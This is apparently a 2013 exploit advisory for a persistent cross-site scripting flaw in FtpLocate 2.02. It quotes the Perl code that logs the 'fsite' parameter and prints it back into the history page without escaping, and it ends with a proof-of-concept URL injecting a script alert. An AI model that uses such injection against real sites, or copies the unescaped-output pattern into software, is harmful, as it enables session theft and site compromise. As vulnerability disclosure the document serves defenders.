#############################################################
#
# Exploit Title: FtpLocate 2.02 Persistent XSS
# Date: 2013/6/23 
# Exploit Author: Chako 
# Firmware Version: 2.02
# Tested on: Windows 7
# Vendor Homepage: http://turtle.ee.ncku.edu.tw/ftplocate/readme.english.html
#                  http://www.freshports.org/ftp/ftplocate/
# File Download: ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/ftplocate-2.02.tar.gz
#############################################################

  
/bin/flsearch.pl (LINE: 22-34)
-----------------------------------------------------------------------------
$query=clean_str($input{'query'}); $query_raw=CGI::escape($query);
$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite);
$page=$input{'page'};
$client=ip2fqdn(client_ip());

if ( $fsite eq "" ) {
  $resultfname=$query_raw;
  $CGIF="";
  $STRF="";
} else {
  $resultfname=$query_raw."-$fsite";
  $CGIF="&fsite=$fsite_raw";  # for cgi page list
  $STRF=" $fsite";    # for output
}
-----------------------------------------------------------------------------


/bin/flhistory.pl (LINE: 85-110)
-----------------------------------------------------------------------------
$rmax=$#log-$logmin;
$rmin=$#log-$logmax;
for ($i=$rmax; $i>=$rmin; $i--) {
  ($date, $time, $usedtime, $client, $_, $cache, $founditem, $query)=split(/\s/,$log[$i],8);
  ($script,$fsite)=/(.*)\((.*)\)/;
  if ( $script =~ "flserv" ) { $script="flsearch"; }
  $url=dirname($ENV{'SCRIPT_NAME'})."/$script.pl?query=".CGI::escape($query)."&fsite=$fsite";
  $q=safe_query_str($query);
  if ( $nowclient eq $client ) {
    $color="#c00000";  
  } else {
    $color="#000000";  
  }

  print qq|<tr>
<td nowrap><font size=-1>$date</font></td>
<td nowrap><font size=-1>$time</font></td>
<td align=center nowrap><font size=-1>$usedtime</font></td>
<td nowrap><font size=-1 color=$color>$client</font></td>
<td nowrap><font size=-1 color=#999999>$script($fsite)</font></td>
<td align=center nowrap><font size=-1>$cache</font></td>
<td align=center nowrap><font size=-1>$founditem</font></td>
<td nowrap><font size=-1><a href="$url">$q</a></font></td>
</tr>
|;
}
-----------------------------------------------------------------------------


Sample Output from flhistory.pl :
-----------------------------------------------------------------------------
<td nowrap><font size=-1 color=#999999>flsearch(<script>alert('xss')</script>)</font></td>


Exploit:
-----------------------------------------------------------------------------

http://Target_Example/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=<script>alert('xss')</script>